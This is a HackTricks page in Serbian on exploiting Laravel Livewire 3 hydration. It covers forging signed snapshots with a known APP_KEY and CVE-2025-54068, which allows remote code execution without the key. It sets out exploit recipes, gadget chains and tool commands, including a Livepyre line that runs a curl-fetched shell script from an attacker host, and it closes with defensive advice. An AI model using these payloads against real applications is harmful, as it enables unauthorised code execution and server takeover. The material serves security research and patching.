Laravel Livewire Hydration & Synthesizer Abuse

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Rekapitulacija Livewire state machine

Livewire 3 komponente razmenjuju svoje stanje kroz snapshots koji sadrže data, memo i checksum. Svaki POST na /livewire/update ponovo rehidrira JSON snapshot na serverskoj strani i izvršava zakazane calls/updates.

class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}

static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}

Svako ko poseduje APP_KEY (koji se koristi za generisanje $hashKey) može zato falsifikovati proizvoljne snapshots ponovnim izračunavanjem HMAC-a.

Složena svojstva su enkodirana kao synthetic tuples koje detektuje Livewire\Drawer\BaseUtils::isSyntheticTuple(); svaki tuple je [value, {"s":"<key>", ...meta}]. Jezgro hidracije jednostavno prosleđuje svaki tuple synth-u izabranom u HandleComponents::$propertySynthesizers i rekurzivno prolazi kroz children:

protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}

Ovaj rekurzivni dizajn čini Livewire generičkim mehanizmom za instanciranje objekata čim napadač preuzme kontrolu nad tuple metadata ili bilo kojim ugnježdenim tuple-om koji se obrađuje tokom rekurzije.

Synthesizeri koji obezbeđuju gadget primitiva

SynthesizerPonašanje koje kontroliše napadač
CollectionSynth (clctn)Instancira new $meta['class']($value) nakon rehidracije svakog child-a. Bilo koja klasa sa konstruktorom koji prihvata array može biti kreirana, i svaki item može sam biti synthetic tuple.
FormObjectSynth (form)Poziva new $meta['class']($component, $path), zatim dodeljuje svako javno svojstvo iz podataka koje kontroliše napadač preko $hydrateChild. Konstruktori koji prihvataju dva slabo tipizirana parametra (ili default args) su dovoljni da se dopre do proizvoljnih javnih svojstava.
ModelSynth (mdl)Kada key nedostaje iz meta izvršava return new $class; što omogućava instanciranje bilo koje klase bez argumenata pod kontrolom napadača.

Pošto synths pozivaju $hydrateChild na svakom ugnježdenom elementu, proizvoljni grafovi gadgeta mogu se konstruisati slaganjem tuple-ova rekurzivno.

Forging snapshots when APP_KEY is known

  1. Presretnite legitimni /livewire/update zahtev i dekodirajte components[0].snapshot.
  2. Injektujte ugnježdene tuple-ove koji pokazuju na gadget klase i ponovo izračunajte checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY).
  3. Ponovo enkodirajte snapshot, ostavite _token/memo neizmenjenim i replay-ujte zahtev.

Minimalni dokaz izvršenja koristi Guzzle’s FnStream i Flysystem’s ShardedPrefixPublicUrlGenerator. Jedan tuple instancira FnStream sa podacima konstruktora { "__toString": "phpinfo" }, sledeći instancira ShardedPrefixPublicUrlGenerator sa [FnStreamInstance] kao $prefixes. Kada Flysystem kastuje svaki prefix u string, PHP poziva attacker-provided __toString callable, pozivajući bilo koju funkciju bez argumenata.

Od poziva funkcija do potpunog RCE

Iskorišćavajući Livewire-ove primitive za instanciranje, Synacktiv je adaptirao phpggc-ov Laravel/RCE4 chain tako da hidracija podigne objekat čije javno Queueable stanje pokreće deserializaciju:

  1. Queueable trait – bilo koji objekat koji koristi Illuminate\Bus\Queueable eksponira javni $chained i izvršava unserialize(array_shift($this->chained)) u dispatchNextJobInChain().
  2. BroadcastEvent wrapperIlluminate\Broadcasting\BroadcastEvent (ShouldQueue) se instancira putem CollectionSynth / FormObjectSynth sa popunjenim javnim $chained.
  3. phpggc Laravel/RCE4Adapted – serijalizovani blob koji se čuva u $chained[0] gradi PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed. Signed::__invoke() na kraju poziva call_user_func_array($closure, $args) omogućavajući system($cmd).
  4. Neprimetno završavanje – dodeljivanjem drugog FnStream callable-a kao što je [new Laravel\Prompts\Terminal(), 'exit'], zahtev se završava sa exit() umesto bučnog izuzetka, održavajući HTTP odgovor čistim.

Automatizacija falsifikovanja snapshot-ova

synacktiv/laravel-crypto-killer sada isporučuje livewire mode koji sve to spaja:

./laravel_crypto_killer.py -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"

Alat parsira uhvaćeni snapshot, ubacuje gadget tuples, ponovo izračunava checksum i ispisuje payload spreman za slanje na /livewire/update.

/## CVE-2025-54068 – RCE bez APP_KEY

updates se spajaju u stanje komponente nakon što je checksum snapshot-a validiran. Ako je osobina unutar snapshot-a (ili postane) sintetički tuple, Livewire ponovo koristi njegov meta prilikom hidriranja attacker-controlled update value:

protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}

Exploit recipe:

  1. Pronađite Livewire komponentu sa ne-tipiziranim javnim svojstvom (npr., public $count;).
  2. Pošaljite ažuriranje koje postavlja to svojstvo na []. Sledeći snapshot ga sada čuva kao [[], {"s": "arr"}].
  3. Sastavite drugi updates payload gde to svojstvo sadrži duboko ugnježden niz koji u sebi uključuje tuple poput [ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ].
  4. Tokom rekurzije, hydrate() procenjuje svaki ugnježdeni element nezavisno, tako da synth ključevi/klase koje napadač izabere bivaju poštovani iako spoljašnji tuple i checksum nikada nisu promenjeni.
  5. Ponovo iskoristite iste CollectionSynth/FormObjectSynth primitive da instancirate Queueable gadget čiji $chained[0] sadrži phpggc payload. Livewire obrađuje lažirane updates, poziva dispatchNextJobInChain() i dolazi do system(<cmd>) bez poznavanja APP_KEY.

Key reasons this works:

  • updates are not covered by the snapshot checksum.
  • getMetaForPath() trusts whichever synth metadata already existed for that property even if the attacker previously forced it to become a tuple via weak typing.
  • Rekurzija i slaba tipizacija omogućavaju da se svaki ugnježdeni niz interpretira kao potpuno novi tuple, pa proizvoljni synth ključevi i proizvoljne klase na kraju dopru do hydration.

Livepyre – end-to-end exploitation

Livepyre automatizuje i APP_KEY-less CVE i signed-snapshot path:

  • Identifikuje postavljenu verziju Livewire parsiranjem <script src="/livewire/livewire.js?id=HASH"> i mapiranjem hasha na ranjive release-ove.
  • Sakuplja baseline snapshots reprodukovanjem benignih akcija i izdvajajući components[].snapshot.
  • Generiše ili updates-only payload (CVE-2025-54068) ili falsifikovani snapshot (poznat APP_KEY) koji u sebi ugrađuje phpggc lanac.

Typical usage:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check pokreće nedestruktivnu proveru, -F preskače version gating, -H i -P dodaju prilagođena zaglavlja ili proxy-je, a --function/--param prilagođava php funkciju koju poziva gadget chain.

Odbrambena razmatranja

  • Ažurirajte na ispravljena Livewire izdanja (>= 3.6.4 prema objavi dobavljača) i primenite zakrpu dobavljača za CVE-2025-54068.
  • Izbegavajte weakly typed public properties u Livewire komponentama; eksplicitni scalar tipi sprečavaju da vrednosti svojstava budu prisiljene u arrays/tuples.
  • Registrujte samo synthesizers koji su vam zaista potrebni i tretirajte user-controlled metadata ($meta['class']) kao nepouzdanu.
  • Odbijajte update-ove koji menjaju JSON type svojstva (npr. scalar -> array) osim ako to nije eksplicitno dozvoljeno, i ponovo izvodite synth metadata umesto ponovnog korišćenja zastarelih tuples.
  • Rotate APP_KEY odmah nakon bilo kakvog disclosure-a jer omogućava offline snapshot forging bez obzira koliko je code-base zakrpljen.

References

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks